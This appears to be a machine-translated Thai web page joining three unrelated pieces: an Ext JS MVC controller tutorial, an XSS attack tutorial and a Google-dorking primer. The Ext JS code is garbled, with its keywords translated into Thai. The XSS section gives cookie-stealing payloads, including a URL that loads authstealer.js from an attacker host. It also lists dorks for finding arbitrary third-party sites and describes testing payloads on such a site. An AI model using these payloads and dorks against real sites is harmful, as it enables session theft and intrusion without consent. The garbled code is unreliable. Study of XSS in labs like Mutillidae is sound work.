อัปเดตครั้งล่าสุด: 11/11/2558
คอนโทรลเลอร์คือลิงก์หลักที่เชื่อมโยงทุกส่วนของแอปพลิเคชันเข้าด้วยกันและทำให้ทำงานได้ เพิ่มลงในแค็ตตาล็อก BookApp/แอป/คอนโทรลเลอร์ไฟล์ Books.jsโดยมีเนื้อหาดังนี้
Ext.define("BookApp.controller.Books", ( ขยาย: "Ext.app.Controller", มุมมอง: ["BookList", "Book"], ร้านค้า: ["BookStore"], รุ่น: ["Book"] , init: function() ( this.control(( "viewport > booklist": ( itemdblclick: this.editBook), "ปุ่ม bookwindow": ( คลิก: this.createBook), "ปุ่ม bookwindow": ( คลิก: this.updateBook ), "ปุ่ม bookwindow": ( คลิก: this.deleteBook), "ปุ่ม bookwindow": ( คลิก: this.clearForm )), // อัปเดต updateBook: ฟังก์ชั่น(ปุ่ม) ( var win = button.up(" window") , form = win.down("form"), ค่า = form.getValues(), id = form.getRecord().get("id");values.id=id; url: "app/data/update.php", พารามิเตอร์: ค่า, ความสำเร็จ: function(response)( var data=Ext.decode(response.responseText); if(data.success)( var store = Ext.widget( " รายการหนังสือ").getStore(); store.load(); Ext.Msg.alert("Update",data.message); else( Ext.Msg.alert("Update","Failed to update the book in the Library) "); ) ) )); ), // การสร้าง createBook: function(button) ( var win = button.up("window"), form = win.down("form"), ค่า = form.getValues () ;
Ext.Ajax.request (( url: "app/data/create.php", params: ค่า, ความสำเร็จ: ฟังก์ชั่น (ตอบกลับ, ตัวเลือก) ( var data=Ext.decode(response.responseText); if(data.success) ( Ext.Msg.alert("Creation",data.message); var store = Ext.widget("booklist").getStore(); store.load(); ) else( Ext.Msg.alert("Creation" ,"ไม่สามารถเพิ่มหนังสือเข้าห้องสมุดได้");
ยอดดู: ["BookList", "Book"], ร้านค้า: ["BookStore"], รุ่น: ["Book"],
ต่อไป ในพารามิเตอร์ init โดยใช้ฟังก์ชัน เราจะเริ่มต้นตัวจัดการปุ่มที่เรามีในมุมมอง ฟังก์ชั่นการควบคุมช่วยให้คุณเชื่อมโยงตัวจัดการกับส่วนประกอบต่างๆ ฟังก์ชันนี้ใช้คลาส Ext.ComponentQuery ซึ่งช่วยให้คุณใช้ตัวเลือกสไตล์ CSS เพื่อค้นหาองค์ประกอบ ตัวอย่างเช่น นิพจน์ "viewport > booklist" จะค้นหาองค์ประกอบที่มีรายการหนังสือนามแฝงที่กำหนดไว้ในส่วนประกอบวิวพอร์ต ตัวเลือกนี้จะลงเอยด้วยการเป็นตัวแทน BookList
และนิพจน์ "ปุ่ม bookwindow" จะได้รับปุ่มที่มีคุณสมบัติการกระทำถูกตั้งค่าเป็นใหม่และอยู่ในองค์ประกอบ bookwindow นั่นคือในมุมมองหนังสือซึ่งเป็นนามแฝง bookwindow ดังนั้น หากคุณคุ้นเคยกับตัวเลือก CSS ก็ไม่ใช่เรื่องยากสำหรับคุณที่จะเข้าใจว่าตัวเลือกทำงานอย่างไรใน ExtJS
"viewport > รายการหนังสือ": ( itemdblclick: this.editBook )
ฟังก์ชันตัวจัดการทั้งหมดถูกกำหนดไว้หลังฟังก์ชัน init ตัวจัดการ this.editBook โหลดโมเดลที่เลือกลงในหน้าต่าง:
แก้ไขหนังสือ: function(grid, record) ( var view = Ext.widget("bookwindow"); view.down("form").loadRecord(record); )
เมื่อใช้เมธอด Ext.widget เราค้นหาคอมโพเนนต์ที่ต้องการโดยใช้ตัวเลือก Ext.ComponentQuery (นิพจน์นี้จะคล้ายกับนิพจน์ Ext.create("widget.bookwindow") จากนั้นรับองค์ประกอบลูกโดยใช้วิธี down เช่นกัน โดยใช้ตัวเลือก จากนั้นเราจะโหลดโมเดลที่เลือกลงในแบบฟอร์ม
หลังจากโหลดโมเดลแล้ว เรามีสามตัวเลือก: เพิ่มหนังสือเล่มใหม่ เปลี่ยนเล่มที่เลือก หรือลบเล่มที่เลือก และนี่คือจุดที่ตัวจัดการสำหรับปุ่มเหล่านี้เข้ามามีบทบาท เนื่องจากตัวจัดการเป็นประเภทเดียวกัน เราจะวิเคราะห์หนึ่งในนั้น
ตัวจัดการ updateBook ได้รับข้อมูลของหนังสือที่เปลี่ยนแปลงและส่งคำขอ Ajax ไปยังเซิร์ฟเวอร์:
UpdateBook: function(button) ( var win = button.up("window"), form = win.down("form"), ค่า = form.getValues(), id = form.getRecord().get( "id ");values.id=id; Ext.Ajax.request(( url: "app/data/update.php", พารามิเตอร์: ค่า, ความสำเร็จ: ฟังก์ชั่น (ตอบกลับ) ( var data=Ext.decode(response. responseText); if(data.success)( var store = Ext.widget("รายการหนังสือ").getStore(); store.load(); Ext.Msg.alert("Update",data.message); ) else( Ext. Msg.alert("อัปเดต", "ไม่สามารถอัปเดตหนังสือในห้องสมุด" ) ) );
ตัวจัดการได้รับปุ่มกดเป็นพารามิเตอร์ จากนั้นใช้วิธี up เราจะได้รับองค์ประกอบหลักของปุ่มนี้: function(button) (var win= button.up("window")...
ด้วยค่านิพจน์ = form.getValues() เราได้รับค่าทั้งหมดของฟิลด์แบบฟอร์ม แต่เนื่องจากเมื่อมีการเปลี่ยนแปลงเมื่อโต้ตอบกับฐานข้อมูล เช่น จำเป็นต้องมี id จากนั้นเราจึงเพิ่ม id ของ โมเดลกำลังอัปเดตเป็นตัวแปรค่า
ต่อไปเราจะส่งคำขอ Ajax พร้อมข้อมูลหนังสือใหม่ไปยังเซิร์ฟเวอร์โดยส่งตัวแปรค่าเป็นพารามิเตอร์ไปยังคำขอ กำลังรับไฟล์ อัพเดต.php(ซึ่งควรจะอยู่ในโฟลเดอร์ BookApp/แอป/ข้อมูล) สามารถรับพารามิเตอร์ที่ส่งผ่านได้ดังนี้:
และท้ายที่สุดแล้ว ในฟังก์ชัน Success เราจะดูผลลัพธ์ที่เซิร์ฟเวอร์ส่งมาเป็นการตอบกลับ และหากทุกอย่างเป็นไปด้วยดี เราจะดาวน์โหลดข้อมูลที่อัปเดตจากเซิร์ฟเวอร์
ตัวจัดการอีกสองตัวทำงานบนหลักการที่คล้ายกัน
และในตอนท้ายสุดเราจะเปลี่ยนไฟล์แอปพลิเคชัน แอพ.jsเพื่อที่จะยอมรับคอนโทรลเลอร์ที่สร้างขึ้นด้านบนดังนี้:
Ext.application(( ต้องใช้: ["Ext.container.Viewport"], ชื่อ: "BookApp", appFolder: "app", ตัวควบคุม: ["Books"], launch: function() ( Ext.create("Ext. container.Viewport", ( รูปแบบ: "พอดี", รายการ: ( xtype: "รายการหนังสือ" ) )); ) ));
ในตัวควบคุม: คุณสมบัติ ["Books"] เราระบุตัวควบคุมที่สร้างขึ้นด้านบน
ตอนนี้แอปพลิเคชันพร้อมแล้วและสามารถเปิดใช้งานได้:
ดังนั้นเราจึงสามารถใช้รูปแบบ MVC เพื่อสร้างแอปพลิเคชัน Ext JS ได้
การเขียนสคริปต์ข้ามไซต์ (XSS) เป็นช่องโหว่ที่เกี่ยวข้องกับการแทรกโค้ดฝั่งไคลเอ็นต์ (JavaScript) ลงในหน้าเว็บที่ผู้ใช้รายอื่นกำลังดูอยู่
ช่องโหว่นี้เกิดจากการกรองข้อมูลที่ผู้ใช้ส่งเพื่อแทรกลงในหน้าเว็บไม่เพียงพอ เข้าใจง่ายกว่ามากด้วยตัวอย่างที่เป็นรูปธรรม จำสมุดเยี่ยมใด ๆ - เป็นโปรแกรมที่ออกแบบมาเพื่อรับข้อมูลจากผู้ใช้แล้วแสดง ลองจินตนาการว่าสมุดเยี่ยมไม่ได้ตรวจสอบหรือกรองข้อมูลที่ป้อน แต่อย่างใด แต่เพียงแสดงข้อมูลเหล่านั้น
คุณสามารถร่างสคริปต์ที่ง่ายที่สุดของคุณได้ (ไม่มีอะไรง่ายไปกว่าการเขียนสคริปต์ที่ไม่ดีใน PHP - หลายๆ คนทำเช่นนี้) แต่มีตัวเลือกสำเร็จรูปมากมายอยู่แล้ว ตัวอย่างเช่น ฉันขอแนะนำให้เริ่มต้นด้วย Dojo และ OWASP Mutillidae II มีตัวอย่างที่คล้ายกันอยู่ที่นั่น ในสภาพแวดล้อม Dojo แบบสแตนด์อโลน ให้ไปที่ลิงก์นี้ในเบราว์เซอร์ของคุณ: http://localhost/mutillidae/index.php?page=add-to-your-blog.php
หากผู้ใช้รายใดรายหนึ่งเข้ามา:
หน้าเว็บจะแสดง:
สวัสดี! ฉันชอบเว็บไซต์ของคุณ
และหากผู้ใช้ป้อนข้อมูลนี้:
สวัสดี! ฉันชอบ site.alert("Pwned") ของคุณ
จากนั้นจะแสดงผลดังนี้:
เบราว์เซอร์จัดเก็บคุกกี้จำนวนมากสำหรับไซต์จำนวนมาก แต่ละไซต์สามารถรับได้เฉพาะคุกกี้ที่บันทึกไว้เท่านั้น ตัวอย่างเช่น example.com ได้จัดเก็บคุกกี้บางส่วนไว้ในเบราว์เซอร์ของคุณ หากคุณเยี่ยมชม another.com ไซต์นี้ (สคริปต์ไคลเอนต์และเซิร์ฟเวอร์) จะไม่สามารถเข้าถึงคุกกี้ที่ example.com เก็บไว้
หาก example.com มีความเสี่ยงต่อ XSS นั่นหมายความว่าเราสามารถแทรกโค้ด JavaScript ลงไปได้ และโค้ดนั้นจะถูกดำเนินการในนามของ example.com! เหล่านั้น. ตัวอย่างเช่น รหัสนี้จะเข้าถึงคุกกี้ของ example.com
ฉันคิดว่าทุกคนจำได้ว่า JavaScript ดำเนินการในเบราว์เซอร์ของผู้ใช้เช่น เมื่อมี XSS โค้ดที่เป็นอันตรายที่ฝังไว้จะสามารถเข้าถึงข้อมูลของผู้ใช้ที่เปิดหน้าเว็บไซต์ได้
โค้ดที่ฝังไว้สามารถทำทุกอย่างที่ JavaScript สามารถทำได้ กล่าวคือ:
- เข้าถึงคุกกี้ของเว็บไซต์ที่คุณกำลังดูอยู่
- สามารถทำการเปลี่ยนแปลงรูปลักษณ์ของเพจได้
- เข้าถึงคลิปบอร์ด
- สามารถใช้โปรแกรม JavaScript ได้ เช่น คีย์ล็อกเกอร์ (ตัวสกัดกั้นการกดแป้นพิมพ์)
- รับได้ที่ BeEF
- ฯลฯ
ตัวอย่างที่ง่ายที่สุดกับคุกกี้:
การแจ้งเตือน (document.cookie)
อันที่จริงแล้ว การแจ้งเตือนใช้เพื่อตรวจจับ XSS เท่านั้น เพย์โหลดที่เป็นอันตรายจริงจะดำเนินการที่ซ่อนอยู่ มันแอบติดต่อกับเซิร์ฟเวอร์ระยะไกลของผู้โจมตีและถ่ายโอนข้อมูลที่ถูกขโมยไป
ประเภทของ XSSสิ่งสำคัญที่สุดที่ต้องเข้าใจเกี่ยวกับประเภทของ XSS คือ:
- เก็บไว้ (ถาวร)
- สะท้อน (ไม่แน่นอน)
ตัวอย่างค่าคงที่:
- ข้อความที่สร้างขึ้นเป็นพิเศษโดยผู้โจมตีในสมุดเยี่ยมชม (ความคิดเห็น ข้อความฟอรัม โปรไฟล์) ซึ่งบันทึกไว้บนเซิร์ฟเวอร์ จะถูกดาวน์โหลดจากเซิร์ฟเวอร์ทุกครั้งที่ผู้ใช้ร้องขอให้แสดงหน้านี้
- ผู้โจมตีสามารถเข้าถึงข้อมูลเซิร์ฟเวอร์ได้ เช่น ผ่านการแทรก SQL และนำโค้ด JavaScript ที่เป็นอันตราย (ที่มีกิโลล็อกเกอร์หรือ BeEF) เข้าไปในข้อมูลที่มอบให้กับผู้ใช้
ตัวอย่างที่ไม่ถาวร:
- มีการค้นหาบนไซต์ที่แสดงบางอย่างเช่น "คุณค้นหา: [สตริงการค้นหา]" พร้อมด้วยผลการค้นหา และข้อมูลไม่ได้รับการกรองอย่างถูกต้อง เนื่องจากเพจดังกล่าวจะแสดงต่อผู้ที่มีลิงก์ไปยังเพจนั้นเท่านั้น การโจมตีจะไม่ทำงานจนกว่าผู้โจมตีจะส่งลิงก์ไปยังผู้ใช้รายอื่นของไซต์ แทนที่จะส่งลิงก์ไปยังเหยื่อ คุณสามารถใช้การวางสคริปต์ที่เป็นอันตรายบนไซต์กลางที่เหยื่อเข้าชมได้
พวกเขายังแยกแยะความแตกต่าง (บางประเภทเป็นช่องโหว่ XSS ที่ไม่ถาวร บางคนบอกว่าประเภทนี้อาจเป็นประเภทหนึ่งของ XSS แบบถาวร):
- โมเดล DOM
พูดง่ายๆ ก็คือเราสามารถเห็นโค้ดที่เป็นอันตรายของ XSS ที่ไม่ถาวร "ปกติ" หากเราเปิดโค้ด HTML ตัวอย่างเช่น ลิงก์ถูกสร้างขึ้นในลักษณะนี้:
Http://example.com/search.php?q="/>การแจ้งเตือน(1)
และเมื่อเราเปิดซอร์สโค้ด HTML เราจะเห็นสิ่งนี้:
alert(1)" /> ค้นหา
และ DOM XSS จะเปลี่ยนโครงสร้าง DOM ซึ่งสร้างขึ้นในเบราว์เซอร์ได้ทันที และเราจะเห็นเฉพาะโค้ดที่เป็นอันตรายเมื่อดูโครงสร้าง DOM ที่สร้างขึ้นเท่านั้น HTML จะไม่เปลี่ยนแปลง ลองใช้โค้ดนี้เป็นตัวอย่าง:
site:::DOM XSS เกิดข้อผิดพลาด... ฟังก์ชัน OnLoad() ( var foundFrag = get_fragment(); return foundFrag; ) function get_fragment() ( var r4c = "(.*?)"; var results = location.hash .match(".*input=token(" + r4c + ");"); if (ผลลัพธ์) ( document.getElementById("default").innerHTML = ""; return (unescape(results)); ) else ( กลับ null; ) ) display_session = OnLoad();
")
document.write("รหัสเซสชันของคุณคือ: " + display_session + "
จากนั้นในเบราว์เซอร์เราจะเห็น:
รหัสแหล่งที่มาของหน้า:
มาสร้างที่อยู่ดังนี้:
http://localhost/tests/XSS/dom_xss.html#input=tokenAlexalert(1);
ตอนนี้หน้าจะมีลักษณะดังนี้:
แต่ลองมาดูซอร์สโค้ด HTML กัน:
ไม่มีอะไรเปลี่ยนแปลงเลย นี่คือสิ่งที่ฉันกำลังพูดถึง เราต้องดูโครงสร้าง DOM ของเอกสารเพื่อระบุโค้ดที่เป็นอันตราย:
นี่คือต้นแบบ XSS ที่ใช้งานได้ สำหรับการโจมตีจริง เราจำเป็นต้องมีเพย์โหลดที่ซับซ้อนมากขึ้น ซึ่งเป็นไปไม่ได้เนื่องจากแอปพลิเคชันหยุดอ่านทันทีหลังเครื่องหมายอัฒภาค และบางอย่างเช่น alert(1);alert(2) ไม่ใช่ เป็นไปได้อีกต่อไป อย่างไรก็ตาม ต้องขอบคุณ unescape() เราจึงสามารถใช้เพย์โหลดเช่นนี้ในข้อมูลที่ส่งคืนได้:
Http://localhost/tests/XSS/dom_xss.html#input=tokenAlexalert(1)%3balert(2);
ขณะนี้เราสามารถเขียนเพย์โหลด JavaScript ที่เป็นอันตรายและสร้างลิงก์เพื่อส่งไปยังเหยื่อได้ เช่นเดียวกับที่ทำกับสคริปต์ข้ามไซต์มาตรฐานที่ไม่ถาวร
ผู้ตรวจสอบบัญชี XSSใน Google Chrome (และใน Opera ซึ่งตอนนี้ใช้เครื่องมือ Google Chrome) ความประหลาดใจนี้รอฉันอยู่:
dom_xss.html:30 ผู้ตรวจสอบ XSS ปฏิเสธที่จะรันสคริปต์ใน "http://localhost/tests/XSS/dom_xss.html#input=token‹script›alert(1);" เนื่องจากพบซอร์สโค้ดภายในคำขอ ผู้ตรวจสอบถูกเปิดใช้งานเนื่องจากเซิร์ฟเวอร์ส่งทั้งส่วนหัว "X-XSS-Protection" หรือ "Content-Security-Policy"
เหล่านั้น. ขณะนี้เบราว์เซอร์มีผู้ตรวจสอบ XSS ที่จะพยายามป้องกัน XSS Firefox ยังไม่มีฟังก์ชันนี้ แต่ฉันคิดว่ามันเป็นเรื่องของเวลา หากการใช้งานในเบราว์เซอร์สำเร็จเราสามารถพูดถึงปัญหาสำคัญในการใช้ XSS ได้
เป็นเรื่องดีที่จำไว้ว่าเบราว์เซอร์สมัยใหม่กำลังดำเนินการเพื่อจำกัดระดับของปัญหาการหาประโยชน์ เช่น XSS ที่ไม่ถาวรและ XSS ที่ใช้ DOM นี่เป็นสิ่งที่ควรจำไว้เมื่อทดสอบเว็บไซต์โดยใช้เบราว์เซอร์ - อาจกลายเป็นว่าแอปพลิเคชันเว็บนั้นมีช่องโหว่ แต่คุณไม่เห็นป๊อปอัปยืนยันเพียงเพราะเบราว์เซอร์กำลังบล็อกอยู่
ตัวอย่างการหาประโยชน์จาก XSSผู้โจมตีที่ต้องการใช้ประโยชน์จากช่องโหว่ของสคริปต์ข้ามไซต์จะต้องเข้าถึงช่องโหว่แต่ละประเภทที่แตกต่างกัน อธิบายเวกเตอร์การโจมตีสำหรับแต่ละคลาสไว้ที่นี่
สำหรับช่องโหว่ XSS การโจมตีสามารถใช้ BeEF ซึ่งจะขยายการโจมตีจากเว็บไซต์ไปยังสภาพแวดล้อมท้องถิ่นของผู้ใช้
ตัวอย่างการโจมตี XSS ที่ไม่ถาวร
1. อลิซเข้าชมเว็บไซต์บางแห่งที่โฮสต์โดย Bob บ่อยครั้ง เว็บไซต์ของ Bob อนุญาตให้ Alice เข้าสู่ระบบด้วยชื่อผู้ใช้/รหัสผ่าน และจัดเก็บข้อมูลที่ละเอียดอ่อน เช่น ข้อมูลการชำระเงิน เมื่อผู้ใช้เข้าสู่ระบบ เบราว์เซอร์จะจัดเก็บคุกกี้การอนุญาตซึ่งมีลักษณะเหมือนอักขระที่ไม่มีความหมาย เช่น คอมพิวเตอร์ทั้งสองเครื่อง (ไคลเอนต์และเซิร์ฟเวอร์) จำได้ว่าเธอเข้ามา
2. Mallory ตั้งข้อสังเกตว่าเว็บไซต์ของ Bob มีช่องโหว่ XSS ที่ไม่ถาวร:
2.1 เมื่อคุณเยี่ยมชมหน้าค้นหา ให้กรอกสตริงการค้นหาและคลิกที่ปุ่มส่ง หากไม่พบผลลัพธ์ หน้าจะแสดงสตริงการค้นหาที่ป้อนตามด้วยคำว่า “ไม่พบ” และ URL มีลักษณะเป็น http://bobssite .org?q= คำค้นหาของเธอ
2.2 ด้วยคำค้นหาปกติเช่นคำว่า "สุนัข" หน้าเว็บจะแสดงเพียง "ไม่พบสุนัข" และ URL http://bobssite.org?q=dogs ซึ่งเป็นพฤติกรรมปกติโดยสมบูรณ์
2.3 อย่างไรก็ตาม เมื่อมีข้อความค้นหาผิดปกติ เช่น alert("xss"); -
2.3.1 ข้อความเตือนจะปรากฏขึ้น (ซึ่งระบุว่า "xss")
2.3.2 หน้าแสดง alert("xss"); ไม่พบพร้อมกับข้อความแสดงข้อผิดพลาดที่มีข้อความ "xss"
2.3.3 URL ที่เหมาะสำหรับการแสวงหาผลประโยชน์ http://bobssite.org?q=alert("xss");
3. Mallory สร้าง URL เพื่อใช้ประโยชน์จากช่องโหว่:
3.1 เธอสร้าง URL http://bobssite.org?q=puppies เธออาจเลือกที่จะแปลงอักขระ ASCII เป็นรูปแบบเลขฐานสิบหก เช่น http://bobssite.org?q=puppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E เพื่อที่จะ เพื่อป้องกันไม่ให้ผู้อื่นถอดรหัส URL ที่เป็นอันตรายทันที
3.2 เธอส่งอีเมลถึงสมาชิกที่ไม่สงสัยบางคนของไซต์ของ Bob โดยบอกว่า "ลองดูสุนัขเจ๋ง ๆ สิ"
4. อลิซได้รับจดหมาย เธอรักสุนัขและคลิกลิงก์ เธอไปที่ไซต์ของ Bob เพื่อค้นหา เธอไม่พบอะไรเลย "ไม่พบสุนัข" ปรากฏขึ้นที่นั่น และตรงกลางแท็กที่มีสคริปต์จะเปิดตัว (มองไม่เห็นบนหน้าจอ) ดาวน์โหลดและเรียกใช้งาน Mallory's โปรแกรม authstealer.js (กระตุ้นการโจมตี XSS) อลิซลืมเรื่องนี้ไปซะ
5. โปรแกรม authstealer.js ทำงานในเบราว์เซอร์ของ Alice เหมือนกับว่ามาจากเว็บไซต์ของ Bob เธอหยิบสำเนาคุกกี้อนุญาตของอลิซแล้วส่งไปที่เซิร์ฟเวอร์ของ Malory ซึ่ง Malory ดึงข้อมูลเหล่านั้นกลับมา
7. เมื่อ Malorie อยู่ข้างในแล้ว เธอไปที่ส่วนการชำระเงินของเว็บไซต์ ดูและขโมยสำเนาหมายเลขบัตรเครดิตของ Alice จากนั้นเธอก็ไปเปลี่ยนรหัสผ่านเช่น ตอนนี้อลิซไม่สามารถเข้ามาได้อีกต่อไป
8. เธอตัดสินใจที่จะดำเนินการขั้นตอนต่อไปและส่งลิงก์ที่สร้างขึ้นในลักษณะนี้ให้กับ Bob เอง และด้วยเหตุนี้จึงได้รับสิทธิ์ผู้ดูแลระบบสำหรับไซต์ของ Bob
การโจมตี XSS อย่างต่อเนื่อง
Dorks สำหรับ XSS
ขั้นตอนแรกคือการเลือกไซต์ที่เราจะทำการโจมตี XSS สามารถค้นหาไซต์ได้โดยใช้ Google dorks นี่คือ Dorks บางส่วนที่คุณสามารถคัดลอกและวางลงในการค้นหาของ Google:
- inurl:search.php?q=
- inurl:.php?q=
- inurl:search.php
- inurl:.php?search=
รายชื่อเว็บไซต์จะเปิดต่อหน้าเรา คุณต้องเปิดไซต์และค้นหาช่องป้อนข้อมูล เช่น แบบฟอร์มคำติชม แบบฟอร์มป้อนข้อมูล การค้นหาไซต์ ฯลฯ
ให้ฉันทราบทันทีว่าการค้นหาช่องโหว่ในเว็บแอปพลิเคชันยอดนิยมที่อัปเดตอัตโนมัตินั้นแทบจะไม่มีประโยชน์เลย ตัวอย่างคลาสสิกของแอปพลิเคชันดังกล่าวคือ WordPress ในความเป็นจริง มีช่องโหว่ใน WordPress และโดยเฉพาะอย่างยิ่งในปลั๊กอิน นอกจากนี้ยังมีเว็บไซต์จำนวนมากที่ไม่ได้อัปเดตทั้งกลไก WordPress (เนื่องจากผู้ดูแลเว็บได้ทำการเปลี่ยนแปลงซอร์สโค้ด) หรือปลั๊กอินและธีมของพวกเขา (ตามกฎแล้วสิ่งเหล่านี้คือปลั๊กอินและธีมที่ละเมิดลิขสิทธิ์) แต่ถ้าคุณอ่านหัวข้อนี้และเรียนรู้สิ่งใหม่จากส่วนนี้ แสดงว่า WordPress ยังไม่เหมาะกับคุณ... เราจะกลับมาที่ส่วนนี้ในภายหลังอย่างแน่นอน
เป้าหมายที่ดีที่สุดคือเอ็นจิ้นและสคริปต์ที่เขียนเองที่หลากหลาย
คุณสามารถเลือกเพย์โหลดการแทรกเป็นได้
การแจ้งเตือน(1)
โปรดทราบว่าแท็กโค้ด HTML ใดที่โค้ดที่ฝังไว้ของคุณตกอยู่ นี่คือตัวอย่างของช่องป้อนข้อมูลทั่วไป:
การแจ้งเตือน(1)
น้ำหนักบรรทุกของเราจะจบลงตรงที่คำว่า "ปลอกหมอน" อยู่ในขณะนี้ เหล่านั้น. เปลี่ยนเป็นค่าของแท็กอินพุต เราสามารถหลีกเลี่ยงปัญหานี้ได้โดยการปิดเครื่องหมายคำพูดคู่แล้วปิดแท็กด้วย "/>
"/>แจ้งเตือน(1)
เรามาลองกันดูสำหรับบางไซต์:
เยี่ยมมาก มีช่องโหว่อยู่
โปรแกรมสำหรับค้นหาและสแกนช่องโหว่ XSSเครื่องสแกนเว็บแอปพลิเคชันทั้งหมดอาจมีเครื่องสแกนช่องโหว่ XSS ในตัว หัวข้อนี้ไม่ครอบคลุม ควรทำความคุ้นเคยกับเครื่องสแกนแต่ละเครื่องแยกกันจะดีกว่า
นอกจากนี้ยังมีเครื่องมือพิเศษสำหรับการสแกนหาช่องโหว่ XSS ในบรรดาสิ่งเหล่านี้เราสามารถเน้นเป็นพิเศษ:
- XSSer ไม่เพียงแต่เป็นเครื่องสแกนอันทรงพลังที่สามารถใช้วิธีการต่างๆ ในการฉีดและหลีกเลี่ยงการกรอง แต่ยังเป็นเครื่องมืออัตโนมัติสำหรับการค้นหาไซต์ที่เสี่ยงต่อ XSS (โดย dorks) สำหรับไซต์ที่พบช่องโหว่ จะสามารถอัดเพย์โหลดสำหรับการโจมตีจริงได้
- XssPy ยังเป็นเครื่องมือที่ค่อนข้างอิสระที่สามารถค้นหาหน้าทั้งหมดของไซต์ (รวมถึงหน้าในโดเมนย่อย) และตรวจสอบองค์ประกอบอินพุตทั้งหมดบนหน้าเหล่านี้
USSCLTD 10 พฤษภาคม 2559 เวลา 12:38 น
การค้นหาช่องโหว่โดยใช้ Google- ความปลอดภัยของข้อมูล
การค้นหาช่องโหว่ในแหล่งข้อมูลบนเว็บเริ่มต้นด้วยการลาดตระเวนและรวบรวมข้อมูล
หน่วยสืบราชการลับสามารถใช้งานได้ทั้งไฟล์และไดเร็กทอรีของไซต์, การเรียกใช้เครื่องสแกนช่องโหว่, การเรียกดูไซต์ด้วยตนเองหรือแบบพาสซีฟ - การค้นหาข้อมูลในเครื่องมือค้นหาต่างๆ บางครั้งมันเกิดขึ้นที่ช่องโหว่เป็นที่รู้จักก่อนที่จะเปิดหน้าแรกของเว็บไซต์ด้วยซ้ำ
สิ่งนี้เป็นไปได้อย่างไร?
โรบ็อตการค้นหาที่โรมมิ่งอินเทอร์เน็ตอย่างต่อเนื่อง นอกเหนือจากข้อมูลที่เป็นประโยชน์ต่อผู้ใช้ทั่วไปแล้ว มักจะบันทึกสิ่งต่าง ๆ ที่ผู้โจมตีสามารถใช้เพื่อโจมตีทรัพยากรบนเว็บ ตัวอย่างเช่น ข้อผิดพลาดของสคริปต์และไฟล์ที่มีข้อมูลที่ละเอียดอ่อน (ตั้งแต่ไฟล์การกำหนดค่าและบันทึกไปจนถึงไฟล์ที่มีข้อมูลการตรวจสอบสิทธิ์และการสำรองฐานข้อมูล)
จากมุมมองของโรบ็อตการค้นหา ข้อความแสดงข้อผิดพลาดเกี่ยวกับการดำเนินการสืบค้น sql จะเป็นข้อความธรรมดา ซึ่งแยกออกไม่ได้ เช่น จากคำอธิบายของผลิตภัณฑ์บนเพจ หากจู่ๆ โรบ็อตการค้นหาพบไฟล์ที่มีนามสกุล .sql ซึ่งไปอยู่ในโฟลเดอร์การทำงานของไซต์ด้วยเหตุผลบางประการ ไฟล์นั้นจะถูกมองว่าเป็นส่วนหนึ่งของเนื้อหาของไซต์และจะถูกจัดทำดัชนีด้วย (รวมถึงรหัสผ่านที่อาจเป็นไปได้ด้วย ระบุไว้ในนั้น)
ข้อมูลดังกล่าวสามารถพบได้โดยการทราบคำหลักที่แข็งแกร่งและมักจะไม่ซ้ำใครซึ่งช่วยแยก "หน้าที่มีความเสี่ยง" ออกจากหน้าเว็บที่ไม่มีช่องโหว่
ฐานข้อมูลขนาดใหญ่ของการสืบค้นพิเศษโดยใช้คำหลัก (เรียกว่า dorks) มีอยู่ใน Exploit-db.com และเป็นที่รู้จักในชื่อ Google Hack Database
ทำไมต้องกูเกิ้ล?
Dorks มีเป้าหมายหลักที่ Google ด้วยเหตุผลสองประการ:
- ไวยากรณ์ที่ยืดหยุ่นที่สุดของคำสำคัญ (แสดงในตารางที่ 1) และอักขระพิเศษ (แสดงในตารางที่ 2)
− ดัชนีของ Google ยังคงสมบูรณ์มากกว่าเครื่องมือค้นหาอื่นๆ
ตารางที่ 1 - คำหลักหลักของ Google
คำสำคัญ |
ความหมาย |
ตัวอย่าง |
เว็บไซต์ |
ค้นหาเฉพาะไซต์ที่ระบุเท่านั้น คำนึงถึง URL ของบัญชีเท่านั้น |
site:somesite.ru - จะค้นหาหน้าทั้งหมดในโดเมนและโดเมนย่อยที่ระบุ |
ใส่ URL |
ค้นหาด้วยคำที่มีอยู่ใน uri ต่างจากคลี. คำว่า "ไซต์" ค้นหารายการที่ตรงกันหลังชื่อไซต์ |
inurl:news - ค้นหาทุกหน้าที่มีคำที่ระบุปรากฏใน URI |
ข้อความ |
ค้นหาในเนื้อหาของหน้า |
intext:”การจราจรติดขัด” - คล้ายกับคำขอปกติสำหรับ “การจราจรติดขัด” |
ชื่อ |
ค้นหาในชื่อหน้า ข้อความระหว่างแท็ก |
intitle:”index of” - จะค้นหาหน้าทั้งหมดที่มีรายการไดเร็กทอรี |
ต่อ |
ค้นหาหน้าที่มีนามสกุลที่ระบุ |
ext:pdf - ค้นหาไฟล์ PDF ทั้งหมด |
ประเภทไฟล์ |
ปัจจุบันคล้ายกับชั้นเรียนโดยสิ้นเชิง คำว่า "ต่อ" |
ประเภทไฟล์:pdf - คล้ายกัน |
ที่เกี่ยวข้อง |
ค้นหาไซต์ที่มีหัวข้อคล้ายกัน |
ที่เกี่ยวข้อง:google.ru - จะแสดงแอนะล็อก |
ลิงค์ |
ค้นหาเว็บไซต์ที่เชื่อมโยงมายังสิ่งนี้ |
link:somesite.ru - จะค้นหาเว็บไซต์ทั้งหมดที่มีลิงก์ไปยังสิ่งนี้ |
กำหนด |
แสดงคำจำกัดความของคำ |
Defin:0day - คำจำกัดความของคำศัพท์ |
แคช |
แสดงเนื้อหาของหน้าในแคช (ถ้ามี) |
cache:google.com - จะเปิดหน้าที่แคชไว้ |
ตารางที่ 2 - อักขระพิเศษสำหรับข้อความค้นหาของ Google
เครื่องหมาย |
ความหมาย |
ตัวอย่าง |
“ |
วลีที่แน่นอน |
intitle:“หน้าการกำหนดค่าเราเตอร์ RouterOS” - ค้นหาเราเตอร์ |
* |
ข้อความใดก็ได้ |
inurl: “bitrix*mcart” - ค้นหาไซต์บน bitrix ด้วยโมดูล mcart ที่มีช่องโหว่ |
. |
ตัวละครอะไรก็ได้ |
Index.of - คล้ายกับดัชนีคำขอ |
- |
ลบคำ |
error -warning - แสดงทุกหน้าที่มีข้อผิดพลาดแต่ไม่มีคำเตือน |
.. |
พิสัย |
cve 2006..2016 - แสดงช่องโหว่ตามปีเริ่มตั้งแต่ปี 2549 |
| |
ตรรกะ "หรือ" |
ลินุกซ์ | windows - แสดงหน้าที่คำแรกหรือคำที่สองปรากฏขึ้น |
